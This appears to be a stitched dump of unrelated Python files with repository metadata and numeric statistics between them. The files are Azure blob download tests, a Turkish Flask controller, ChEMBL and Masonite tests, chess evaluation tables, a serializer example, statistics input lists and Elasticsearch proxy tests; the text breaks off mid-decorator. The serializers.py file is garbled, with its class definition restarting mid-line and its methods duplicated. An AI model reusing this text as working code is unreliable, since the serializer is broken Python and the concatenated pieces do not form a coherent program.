progress = [] def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act stream = blob.download_blob(raw_response_hook=callback, encoding='UTF-8') content = stream.readall() # Assert self.assertEqual(blob_data, content) self.assert_download_progress( len(blob_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) @GlobalStorageAccountPreparer() def test_get_blob_to_text_with_encoding(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) text = u'hello 啊齄丂狛狜 world' blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(text, encoding='utf-16') # Act stream = blob.download_blob(encoding='UTF-16') content = stream.readall() # Assert self.assertEqual(text, content) @GlobalStorageAccountPreparer() def test_get_blob_to_text_with_encoding_and_progress(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) text = u'hello 啊齄丂狛狜 world' blob_name = self._get_blob_reference() blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(text, encoding='utf-16') # Act progress = [] def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) stream = blob.download_blob(raw_response_hook=callback, encoding='UTF-16') content = stream.readall() # Assert self.assertEqual(text, content) self.assert_download_progress( len(text.encode('utf-8')), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) @GlobalStorageAccountPreparer() def test_get_blob_non_seekable(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act FILE_PATH = 'get_blob_non_seekable.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: non_seekable_stream = StorageGetBlobTest.NonSeekableFile(stream) downloader = blob.download_blob(max_concurrency=1) read_bytes = downloader.readinto(non_seekable_stream) # Assert self.assertEqual(read_bytes, len(self.byte_data)) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(self.byte_data, actual) self._teardown(FILE_PATH) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_non_seekable_parallel(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act FILE_PATH = 'get_blob_non_seekable.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: non_seekable_stream = StorageGetBlobTest.NonSeekableFile(stream) with self.assertRaises(ValueError): downloader = blob.download_blob(max_concurrency=2) properties = downloader.readinto(non_seekable_stream) self._teardown(FILE_PATH) @GlobalStorageAccountPreparer() def test_get_blob_to_stream_exact_get_size(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob_name = self._get_blob_reference() byte_data = self.get_random_bytes(self.config.max_single_get_size) blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(byte_data) progress = [] def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act FILE_PATH = 'blob_to_stream_exact_get_size.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(raw_response_hook=callback, max_concurrency=2) properties = downloader.readinto(stream) # Assert with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(byte_data, actual) self.assert_download_progress( len(byte_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) self._teardown(FILE_PATH) @GlobalStorageAccountPreparer() def test_get_blob_exact_get_size(self, resource_group, location, storage_account, storage_account_key): self._setup(storage_account, storage_account_key) blob_name = self._get_blob_reference() byte_data = self.get_random_bytes(self.config.max_single_get_size) blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(byte_data) progress = [] def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act content = blob.download_blob(raw_response_hook=callback).readall() # Assert self.assertEqual(byte_data, content) self.assert_download_progress( len(byte_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_exact_chunk_size(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob_name = self._get_blob_reference() byte_data = self.get_random_bytes( self.config.max_single_get_size + self.config.max_chunk_get_size) blob = self.bsc.get_blob_client(self.container_name, blob_name) blob.upload_blob(byte_data) progress = [] def callback(response): current = response.context['download_stream_current'] total = response.context['data_stream_total'] progress.append((current, total)) # Act content = blob.download_blob(raw_response_hook=callback).readall() # Assert self.assertEqual(byte_data, content) self.assert_download_progress( len(byte_data), self.config.max_chunk_get_size, self.config.max_single_get_size, progress) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_to_stream_with_md5(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act FILE_PATH = 'stream_with_md5.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(validate_content=True, max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(read_bytes, len(self.byte_data)) with open(FILE_PATH, 'rb') as stream: actual = stream.read() self.assertEqual(self.byte_data, actual) self._teardown(FILE_PATH) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_with_md5(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) # Act content = blob.download_blob(validate_content=True, max_concurrency=2).readall() # Assert self.assertEqual(self.byte_data, content) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_range_to_stream_with_overall_md5(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) props = blob.get_blob_properties() props.content_settings.content_md5 = b'MDAwMDAwMDA=' blob.set_http_headers(props.content_settings) # Act FILE_PATH = 'blob_range_to_stream_with_overall_md5.temp.{}.dat'.format(str(uuid.uuid4())) with open(FILE_PATH, 'wb') as stream: downloader = blob.download_blob(offset=0, length=1024, validate_content=True, max_concurrency=2) read_bytes = downloader.readinto(stream) # Assert self.assertEqual(downloader.size, 1024) self.assertEqual(read_bytes, 1024) self.assertEqual(b'MDAwMDAwMDA=', downloader.properties.content_settings.content_md5) self._teardown(FILE_PATH) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_range_with_overall_md5(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) content = blob.download_blob(offset=0, length=1024, validate_content=True) self._setup(storage_account, storage_account_key) props = blob.get_blob_properties() props.content_settings.content_md5 = b'MDAwMDAwMDA=' blob.set_http_headers(props.content_settings) # Act content = blob.download_blob(offset=0, length=1024, validate_content=True) # Assert self.assertEqual(content.properties.size, 1024) self.assertEqual(b'MDAwMDAwMDA=', content.properties.content_settings.content_md5) @pytest.mark.live_test_only @GlobalStorageAccountPreparer() def test_get_blob_range_with_range_md5(self, resource_group, location, storage_account, storage_account_key): # parallel tests introduce random order of requests, can only run live self._setup(storage_account, storage_account_key) blob = self.bsc.get_blob_client(self.container_name, self.byte_blob) content = blob.download_blob(offset=0, length=1024, validate_content=True) self._setup(storage_account, storage_account_key) props = blob.get_blob_properties() props.content_settings.content_md5 = None blob.set_http_headers(props.content_settings) # Act content = blob.download_blob(offset=0, length=1024, validate_content=True) # Assert self.assertIsNotNone(content.properties.content_settings.content_type) self.assertIsNone(content.properties.content_settings.content_md5) # ------------------------------------------------------------------------------

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0.683667

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5.564654

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0.838955

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0

1

0

1

0

null

1

0

9

97d9df6a82d368ce76cd6f3016dbbc3135c2a856

5,407

py

Python

copy/python/controller/v_taslak.py

koneviahmet/python-cli

cb65c95489c5e2a3ec20139be743855f831d0f42

[ "MIT" ]

4

2020-07-22T19:20:52.000Z

2020-07-31T06:05:07.000Z

copy/python/controller/v_taslak.py

koneviahmet/python-cli

cb65c95489c5e2a3ec20139be743855f831d0f42

[ "MIT" ]

null

copy/python/controller/v_taslak.py

koneviahmet/python-cli

cb65c95489c5e2a3ec20139be743855f831d0f42

[ "MIT" ]

null

from __main__ import app, render_template, request, session, make_response from library.lUser import lUser from library.yetki import Yetki from model.taslak import Taslak # yetki kullanım örneği @app.route('/v_taslak/yetki') def v_taslak_yetki(): if Yetki(3).yetkiDenetle('denemeYetki'): return "yetki var" else: return "yetki yok" @app.route('/v_taslak') def v_taslak(): data = dict() data['deneme'] = "deneme" data['header'] = render_template('klasik/header/header.html', data = data) data['menu'] = render_template('klasik/menu/menu.html', data = data) data['content'] = render_template('klasik/content/taslak/anasayfa.html', data = data) data['footer'] = render_template('klasik/footer/footer.html', data = data) return render_template('klasik/index.html', data = data) @app.route('/v_taslak/taslak_list') def v_taslak_list(): data = dict() hataSayfa = '404.html' userInfo = lUser().userInfo() data['userInfo'] = userInfo if not userInfo: data['hata'] = "hata" hataSayfa = 'yetki.html' # hata denetimini yapalım if 'hata' in data: data['content'] = render_template('klasik/hata/' + hataSayfa, data = data) else: # hata yok demektri data['allTaslak'] = Taslak.query.all() data['header'] = render_template('klasik/header/header.html', data = data) data['menu'] = render_template('klasik/menu/menu.html', data = data) data['content'] = render_template('klasik/content/taslak/taslak_list.html', data = data) data['footer'] = render_template('klasik/footer/footer.html', data = data) return render_template('klasik/index.html', data = data) @app.route('/v_taslak/taslak_detay/<taslakId>') def v_taslak_detay(taslakId): data = dict() hataSayfa = '404.html' userInfo = lUser().userInfo() data['userInfo'] = userInfo if not userInfo: data['hata'] = "hata" hataSayfa = 'yetki.html' # uye bilgilerini alalım taslakInfo = Taslak.query.filter_by(taslak_id=str(taslakId)).first() data['taslakInfo'] = taslakInfo if not taslakInfo: data['hata'] = "taslak bulunamadı." # hata denetimini yapalım if 'hata' in data: data['content'] = render_template('klasik/hata/' + hataSayfa, data = data) else: data['header'] = render_template('klasik/header/header.html', data = data) data['menu'] = render_template('klasik/menu/menu.html', data = data) data['content'] = render_template('klasik/content/taslak/taslak_detay.html', data = data) data['footer'] = render_template('klasik/footer/footer.html', data = data) return render_template('klasik/index.html', data = data) @app.route('/v_taslak/taslak_duzenle/<taslakId>') def v_taslak_duzenle(taslakId): data = dict() hataSayfa = '404.html' userInfo = lUser().userInfo() data['userInfo'] = userInfo if not userInfo: data['hata'] = "hata" hataSayfa = 'yetki.html' taslakInfo = Taslak.query.filter_by(taslak_id=str(taslakId)).first() data['taslakInfo'] = taslakInfo # hata denetimini yapalım if 'hata' in data: data['content'] = render_template('klasik/hata/' + hataSayfa, data = data) else: data['header'] = render_template('klasik/header/header.html', data = data) data['menu'] = render_template('klasik/menu/menu.html', data = data) data['content'] = render_template('klasik/content/taslak/taslak_duzenle.html', data = data) data['footer'] = render_template('klasik/footer/footer.html', data = data) return render_template('klasik/index.html', data = data) @app.route('/v_taslak/taslak_ara') def v_taslak_ara(): data = dict() hataSayfa = '404.html' userInfo = lUser().userInfo() data['userInfo'] = userInfo if not userInfo: data['hata'] = "hata" hataSayfa = 'yetki.html' # hata denetimini yapalım if 'hata' in data: data['content'] = render_template('klasik/hata/' + hataSayfa, data = data) else: # hata yok demektri data['header'] = render_template('klasik/header/header.html', data = data) data['menu'] = render_template('klasik/menu/menu.html', data = data) data['content'] = render_template('klasik/content/taslak/taslak_ara.html', data = data) data['footer'] = render_template('klasik/footer/footer.html', data = data) return render_template('klasik/index.html', data = data) # üye profil sayfası @app.route('/v_taslak/taslak_kaydet') def v_taslak_kaydet(): data = dict() hataSayfa = '404.html' userInfo = lUser().userInfo() data['userInfo'] = userInfo if not userInfo: data['hata'] = "hata" hataSayfa = 'yetki.html' # hata denetimini yapalım if 'hata' in data: data['content'] = render_template('klasik/hata/' + hataSayfa, data = data) else: data['header'] = render_template('klasik/header/header.html', data = data) data['menu'] = render_template('klasik/menu/menu.html', data = data) data['content'] = render_template('klasik/content/taslak/taslak_kaydet.html', data = data) data['footer'] = render_template('klasik/footer/footer.html', data = data) return render_template('klasik/index.html', data = data)

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99

0.64361

649

5,407

5.246533

0.107858

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0.20558

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0.838179

0.832012

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0.003737

0.208064

5,407

170

100

31.805882

0.791453

0.040503

0

0.720721

0

0.276029

0.148348

0

1

0.063063

false

0

0.036036

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0.171171

0

null

0

1

0

1

0

1

0

null

0

8

3f60ad3c772ebf7823553aca5321a2824b572422

2,142

py

Python

code/reasoningtool/tests/QueryChEMBLTests.py

andrewsu/RTX

dd1de262d0817f7e6d2f64e5bec7d5009a3a2740

[ "MIT" ]

31

2018-03-05T20:01:10.000Z

2022-02-01T03:31:22.000Z

code/reasoningtool/tests/QueryChEMBLTests.py

andrewsu/RTX

dd1de262d0817f7e6d2f64e5bec7d5009a3a2740

[ "MIT" ]

1,774

2018-03-06T01:55:03.000Z

2022-03-31T03:09:04.000Z

code/reasoningtool/tests/QueryChEMBLTests.py

andrewsu/RTX

dd1de262d0817f7e6d2f64e5bec7d5009a3a2740

[ "MIT" ]

19

2018-05-10T00:43:19.000Z

2022-03-08T19:26:16.000Z

import unittest from QueryChEMBL import QueryChEMBL as QC class QueryChEMBLTestCase(unittest.TestCase): def test_get_target_uniprot_ids_for_drug(self): ret_dict = QC.get_target_uniprot_ids_for_drug('clothiapine') known_dict = {'P21728': 0.99999999997, 'P21918': 0.9999999824, 'P14416': 0.99996980427, 'P35367': 0.99996179618, 'P08913': 0.99973447457, 'P18089': 0.99638618971, 'P21917': 0.99500274146, 'P28335': 0.98581821496, 'P18825': 0.97356918354, 'P28223': 0.96867458111, 'Q9H3N8': 0.83028164473, 'P34969': 0.39141293908, 'P41595': 0.31891025293, 'P08173': 0.18274693348, 'P11229': 0.16526971365, 'P04637': 0.12499267788, 'P35462': 0.11109632984, 'P10635': 0.09162534744, 'P25100': 0.0855003718, 'P06746': 0.04246537619} self.assertDictEqual(ret_dict, known_dict) def test_get_chembl_ids_for_drug(self): ret_set = QC.get_chembl_ids_for_drug('clothiapine') known_set = {'CHEMBL304902'} self.assertSetEqual(ret_set, known_set) def test_get_target_uniprot_ids_for_chembl_id(self): ret_dict = QC.get_target_uniprot_ids_for_chembl_id('CHEMBL304902') known_dict = {'P21728': 0.99999999997, 'P21918': 0.9999999824, 'P14416': 0.99996980427, 'P35367': 0.99996179618, 'P08913': 0.99973447457, 'P18089': 0.99638618971, 'P21917': 0.99500274146, 'P28335': 0.98581821496, 'P18825': 0.97356918354, 'P28223': 0.96867458111, 'Q9H3N8': 0.83028164473, 'P34969': 0.39141293908, 'P41595': 0.31891025293, 'P08173': 0.18274693348, 'P11229': 0.16526971365, 'P04637': 0.12499267788, 'P35462': 0.11109632984, 'P10635': 0.09162534744, 'P25100': 0.0855003718, 'P06746': 0.04246537619} self.assertDictEqual(ret_dict, known_dict) if __name__ == '__main__': unittest.main()

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74

0.590103

219

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0.328767

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0.663914

0

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2,142

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0.345801

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false

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null

0

1

0

1

0

1

0

null

0

8

58b758e48bb642bf4d6e205617c386b59058caf8

3,536

py

Python

tests/broadcasts/test_sockets.py

rickavmaniac/masonite

cf085a806123ef267ef0d07d828dcca0a6d1e6b2

[ "MIT" ]

1

2022-02-24T06:21:18.000Z

tests/broadcasts/test_sockets.py

rickavmaniac/masonite

cf085a806123ef267ef0d07d828dcca0a6d1e6b2

[ "MIT" ]

null

tests/broadcasts/test_sockets.py

rickavmaniac/masonite

cf085a806123ef267ef0d07d828dcca0a6d1e6b2

[ "MIT" ]

null

import os import unittest from src.masonite.drivers import BroadcastPusherDriver from src.masonite.managers import BroadcastManager from src.masonite.testing import TestCase class TestSockets(TestCase): def setUp(self): super().setUp() self.container.bind('BroadcastPusherDriver', BroadcastPusherDriver) self.container.bind('BroadcastManager', BroadcastManager) # skip tests depending on drivers keys presence self.run_pusher_tests = bool(os.getenv('PUSHER_SECRET')) self.run_ably_tests = bool(os.getenv('ABLY_SECRET')) self.run_pubnub_tests = bool(os.getenv('PUBNUB_SECRET')) def test_broadcast_loads_into_container(self): if not self.run_pusher_tests: self.skipTest("require Pusher keys") self.container.bind('Broadcast', self.container.make('BroadcastManager').driver('pusher')) self.assertIsNotNone(self.container.make('BroadcastManager')) self.assertEqual(self.container.make('Broadcast').channel('random', 'from driver'), {'message': 'from driver'}) self.assertEqual(self.container.make('Broadcast').channel('random', {'message': 'dictionary'}), {'message': 'dictionary'}) self.assertEqual(self.container.make('Broadcast').channel(['channel1', 'channel2'], {'message': 'dictionary'}), {'message': 'dictionary'}) self.assertEqual(self.container.make('Broadcast').channel(['channel1', 'channel2'], {'message': 'dictionary'}, 'test-event'), {'message': 'dictionary'}) self.assertTrue(self.container.make('Broadcast').ssl(True).ssl_message) def test_broadcast_loads_into_container_with_ably(self): if not self.run_ably_tests: self.skipTest("require Ably keys") self.container.bind('Broadcast', self.container.make('BroadcastManager').driver('ably')) self.assertIsNotNone(self.container.make('BroadcastManager')) self.assertEqual(self.container.make('Broadcast').channel('test-channel', 'from driver'), {'message': 'from driver'}) self.assertEqual(self.container.make('Broadcast').channel('test-channel', {'message': 'from driver'}), {'message': 'from driver'}) self.assertEqual(self.container.make('Broadcast').channel(['channel-1', 'channel-2'], {'message': 'dictionary'}), {'message': 'dictionary'}) self.assertEqual(self.container.make('Broadcast').channel(['channel-1', 'channel-2'], {'message': 'dictionary'}, 'test-event'), {'message': 'dictionary'}) self.assertTrue(self.container.make('Broadcast').ssl(True).ssl_message) def test_broadcast_loads_into_container_with_pubnub(self): if not self.run_pubnub_tests: self.skipTest("require PubNub keys") self.container.bind('Broadcast', self.container.make('BroadcastManager').driver('pubnub')) self.assertIsNotNone(self.container.make('BroadcastManager')) self.assertEqual(self.container.make('Broadcast').channel('test-channel', 'from driver'), {'message': 'from driver'}) self.assertEqual(self.container.make('Broadcast').channel('test-channel', {'message': 'from driver'}), {'message': 'from driver'}) self.assertEqual(self.container.make('Broadcast').channel(['channel-1', 'channel-2'], {'message': 'dictionary'}), {'message': 'dictionary'}) self.assertEqual(self.container.make('Broadcast').channel(['channel-1', 'channel-2'], {'message': 'dictionary'}, 'test-event'), {'message': 'dictionary'}) self.assertTrue(self.container.make('Broadcast').ssl(True).ssl_message)

65.481481

162

0.697115

385

3,536

6.314286

0.150649

0.139037

0.146853

0.160428

0.754422

0.734677

0.720691

0.715755

0

0.003905

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3,536

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163

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0

1

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1

0

null

0

1

0

7

58f4cd23e5825d5db1dbaded94769e239602ba35

2,843

py

Python

ChessAI/ChessPlayer/BotPlayer/figure_cost.py

PavelLebed20/chess_classic

72f7d08cadae8db9c65d61411bcdc8c79bfa04c3

[ "Apache-2.0" ]

1

2019-06-04T11:08:55.000Z

ChessAI/ChessPlayer/BotPlayer/figure_cost.py

PavelLebed20/chess_classic

72f7d08cadae8db9c65d61411bcdc8c79bfa04c3

[ "Apache-2.0" ]

115

2019-03-02T08:02:50.000Z

2019-06-02T16:28:00.000Z

ChessAI/ChessPlayer/BotPlayer/figure_cost.py

PavelLebed20/chess_classic

72f7d08cadae8db9c65d61411bcdc8c79bfa04c3

[ "Apache-2.0" ]

null

pawn_cost = [ [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0], [1.0, 1.0, 2.0, 3.0, 3.0, 2.0, 1.0, 1.0], [0.5, 0.5, 1.0, 2.5, 2.5, 1.0, 0.5, 0.5], [0.0, 0.0, 0.0, 2.0, 2.0, 0.0, 0.0, 0.0], [0.5, -0.5, -1.0, 0.0, 0.0, -1.0, -0.5, 0.5], [0.5, 1.0, 1.0, -2.0, -2.0, 1.0, 1.0, 0.5], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]] rook_cost = [ [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.5, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.5], [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5], [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5], [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5], [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5], [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5], [0.0, 0.0, 0.0, 0.5, 0.5, 0.0, 0.0, 0.0] ] knight_cost = [ [-5.0, -4.0, -3.0, -3.0, -3.0, -3.0, -4.0, -5.0], [-4.0, -2.0, 0.0, 0.0, 0.0, 0.0, -2.0, -4.0], [-3.0, 0.0, 1.0, 1.5, 1.5, 1.0, 0.0, -3.0], [-3.0, 0.5, 1.5, 2.0, 2.0, 1.5, 0.5, -3.0], [-3.0, 0.0, 1.5, 2.0, 2.0, 1.5, 0.0, -3.0], [-3.0, 0.5, 1.0, 1.5, 1.5, 1.0, 0.5, -3.0], [-4.0, -2.0, 0.0, 0.5, 0.5, 0.0, -2.0, -4.0], [-5.0, -4.0, -3.0, -3.0, -3.0, -3.0, -4.0, -5.0] ] bishop_cost = [ [-2.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -2.0], [-1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0], [-1.0, 0.0, 0.5, 1.0, 1.0, 0.5, 0.0, -1.0], [-1.0, 0.5, 0.5, 1.0, 1.0, 0.5, 0.5, -1.0], [-1.0, 0.0, 1.0, 1.0, 1.0, 1.0, 0.0, -1.0], [-1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, -1.0], [-1.0, 0.5, 0.0, 0.0, 0.0, 0.0, 0.5, -1.0], [-2.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -2.0] ] queen_cost = [ [-2.0, -1.0, -1.0, -0.5, -0.5, -1.0, -1.0, -2.0], [-1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0], [-1.0, 0.0, 0.5, 0.5, 0.5, 0.5, 0.0, -1.0], [-0.5, 0.0, 0.5, 0.5, 0.5, 0.5, 0.0, -0.5], [0.0, 0.0, 0.5, 0.5, 0.5, 0.5, 0.0, -0.5], [-1.0, 0.5, 0.5, 0.5, 0.5, 0.5, 0.0, -1.0], [-1.0, 0.0, 0.5, 0.0, 0.0, 0.0, 0.0, -1.0], [-2.0, -1.0, -1.0, -0.5, -0.5, -1.0, -1.0, -2.0] ] king_cost = [ [-3.0, -4.0, -4.0, -5.0, -5.0, -4.0, -4.0, -3.0], [-3.0, -4.0, -4.0, -5.0, -5.0, -4.0, -4.0, -3.0], [-3.0, -4.0, -4.0, -5.0, -5.0, -4.0, -4.0, -3.0], [-3.0, -4.0, -4.0, -5.0, -5.0, -4.0, -4.0, -3.0], [-2.0, -3.0, -3.0, -4.0, -4.0, -3.0, -3.0, -2.0], [-1.0, -2.0, -2.0, -2.0, -2.0, -2.0, -2.0, -1.0], [2.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 2.0], [2.0, 3.0, 1.0, 0.0, 0.0, 1.0, 3.0, 2.0] ]

43.738462

61

0.29089

780

2,843

1.052564

0.016667

0.596833

0.697929

0.769793

0.950061

0.940317

0.9257

0.90134

0.868453

0.762485

0

0.414239

0.347872

2,843

64

62

44.421875

0.028587

0

0.220339

0

1

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false

0

1

null

1

0

1

0

1

0

null

0

12

4520232d223d736092916e501854fac6fd19e33a

1,672

py

Python

learning_new_technique_sandbox/src/desing_pattern/factory_method/serializers.py

qingchaowang/learning_sandbox

cfc756bc5abd944935213b2ef90beab7d40d5d18

[ "MIT" ]

null

learning_new_technique_sandbox/src/desing_pattern/factory_method/serializers.py

qingchaowang/learning_sandbox

cfc756bc5abd944935213b2ef90beab7d40d5d18

[ "MIT" ]

null

learning_new_technique_sandbox/src/desing_pattern/factory_method/serializers.py

qingchaowang/learning_sandbox

cfc756bc5abd944935213b2ef90beab7d40d5d18

[ "MIT" ]

null

# In serializers.py import json import xml.etree.ElementTree as et class JsonSerializer: def __init__(self): self._current_object = None# In serializers.py import json import xml.etree.ElementTree as et class JsonSerializer: def __init__(self): self._current_object = None def start_object(self, object_name, object_id): self._current_object = { 'id': object_id } def add_property(self, name, value): self._current_object[name] = value def to_str(self): return json.dumps(self._current_object) class XmlSerializer: def __init__(self): self._element = None def start_object(self, object_name, object_id): self._element = et.Element(object_name, attrib={'id': object_id}) def add_property(self, name, value): prop = et.SubElement(self._element, name) prop.text = value def to_str(self): return et.tostring(self._element, encoding='unicode') def start_object(self, object_name, object_id): self._current_object = { 'id': object_id } def add_property(self, name, value): self._current_object[name] = value def to_str(self): return json.dumps(self._current_object) class XmlSerializer: def __init__(self): self._element = None def start_object(self, object_name, object_id): self._element = et.Element(object_name, attrib={'id': object_id}) def add_property(self, name, value): prop = et.SubElement(self._element, name) prop.text = value def to_str(self): return et.tostring(self._element, encoding='unicode')

24.955224

73

0.656699

214

1,672

4.82243

0.172897

0.077519

0.131783

0.05814

1

0

0.241627

1,672

67

74

24.955224

0.81388

0.020933

0

0.956522

0

0.013456

0

1

0.347826

false

0

0.086957

0.608696

0

null

0

1

0

1

0

null

0

1

0

1

0

9

18f88648a1b22ced8b5694a10b9e45b968aa2a62

62,227

py

Python

app/python/testing/user_input_files/KS_input_examples.py

RadjaHachilif/agotool

2fcc3fd5a156053b528ec927bab79ddaf7af2dec

[ "MIT" ]

6

2016-04-14T11:47:43.000Z

2022-01-29T14:34:59.000Z

app/python/testing/user_input_files/KS_input_examples.py

RadjaHachilif/agotool

2fcc3fd5a156053b528ec927bab79ddaf7af2dec

[ "MIT" ]

2

2019-12-21T12:15:46.000Z

2021-01-08T12:22:17.000Z

app/python/testing/user_input_files/KS_input_examples.py

RadjaHachilif/agotool

2fcc3fd5a156053b528ec927bab79ddaf7af2dec

[ "MIT" ]

1

2021-03-04T10:26:18.000Z

fg_1 = [2.71355896020348, 2.59658440428213, 2.45153772275136] bg_1 = [-8.32643470076795, -8.12926078021377, -8.06480495716629, -7.91650311880841, -7.83801246222857, -7.70583778501837, -7.52738966855758, -7.49777367765364, -7.46651942330827, -7.42355926825873, -7.30100855923803, -7.26350122359286, -7.19468100328791, -7.13961252138971, -7.05545005462474, -7.03430813260908, -7.03089483430696, -7.02251373739152, -6.86645118823921, -6.85898908383128, -6.84855344412137, -6.76730879143088, -6.7664972463577, -6.69533136777946, -6.61277822936154, -6.58502157909065, -6.57284941377777, -6.48626842620612, -6.45986392537447, -6.441174858703, -6.41827521708809, -6.38452118966051, -6.36363468782975, -6.36076969181797, -6.26240701383164, -6.25317971847765, -6.2365389484951, -6.15648608681838, -6.15346814841415, -6.13426879717682, -6.08299484961717, -6.07448195514896, -6.07291813132705, -5.99612353985798, -5.98325289595672, -5.97435574341204, -5.95224905793447, -5.94667848489343, -5.9334583297072, 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0

11

7a0bd3cd97182d852d26f491ed0ca60f813019b2

7,064

py

Python

tests/api/test_elasticsearch.py

felliott/SHARE

8fd60ff4749349c9b867f6188650d71f4f0a1a56

[ "Apache-2.0" ]

null

tests/api/test_elasticsearch.py

felliott/SHARE

8fd60ff4749349c9b867f6188650d71f4f0a1a56

[ "Apache-2.0" ]

null

tests/api/test_elasticsearch.py

felliott/SHARE

8fd60ff4749349c9b867f6188650d71f4f0a1a56

[ "Apache-2.0" ]

null

from furl import furl from unittest import mock import pytest class TestElasticSearchProxy: def test_cannot_put(self, client): assert client.put('/api/v2/search/').status_code == 405 assert client.put('/api/v2/search/thing').status_code == 405 assert client.put('/api/v2/search/_count').status_code == 405 assert client.put('/api/v2/search/_search').status_code == 405 assert client.put('/api/v2/search/type/index').status_code == 405 assert client.put('/api/v2/search/type/index/_thing').status_code == 405 def test_cannot_delete(self, client): assert client.delete('/api/v2/search/').status_code == 405 assert client.delete('/api/v2/search/thing').status_code == 405 assert client.delete('/api/v2/search/_count').status_code == 405 assert client.delete('/api/v2/search/_search').status_code == 405 assert client.delete('/api/v2/search/type/index').status_code == 405 assert client.delete('/api/v2/search/type/index/_thing').status_code == 405 def test_cannot_access_bulk(self, client): assert client.delete('/api/v2/search/_bulk').status_code == 405 assert client.delete('/api/v2/search/_bulk?test').status_code == 405 assert client.delete('/api/v2/search/type/_bulk?foo').status_code == 405 assert client.delete('/api/v2/search/type/index/_bulk').status_code == 405 def test_scroll_forbidden(self, client): assert client.post('/api/v2/search/_search/scroll').status_code == 403 assert client.post('/api/v2/search/_search/?scroll=1m').status_code == 403 assert client.get('/api/v2/search/_search/scroll').status_code == 403 assert client.get('/api/v2/search/_search/?scroll=1m').status_code == 403 @pytest.mark.parametrize('url', [ '/api/v2/search/type', '/api/v2/search/type/', '/api/v2/search/type/id', '/api/v2/search/type/id/', '/api/v2/search/type/id/some/thing/else', '/api/v2/search/type/id/some/thing/else/', '/api/v2/search/type/id/_search', '/api/v2/search/type/id/_search/', '/api/v2/search/type/id/some/thing/else/_search', '/api/v2/search/type/id/some/thing/else/_search/', '/api/v2/search/type/id/some/thing/else/_count', '/api/v2/search/type/id/some/thing/else/_count/', '/api/v2/search/_coun', '/api/v2/search/__count', '/api/v2/search/_counttttttttttt', '/api/v2/search/_sear', '/api/v2/search/__search', '/api/v2/search/_searchh', '/api/v2/search/_sugges', '/api/v2/search/__suggest', '/api/v2/search/_ssuggest', ]) def test_limitted_post(self, url, client): with mock.patch('api.search.views.requests.post') as post: post.return_value = mock.Mock(status_code=500, json=lambda: {}) assert client.post(url, '{}', content_type='application/json').status_code in (403, 405) @pytest.mark.parametrize('url', 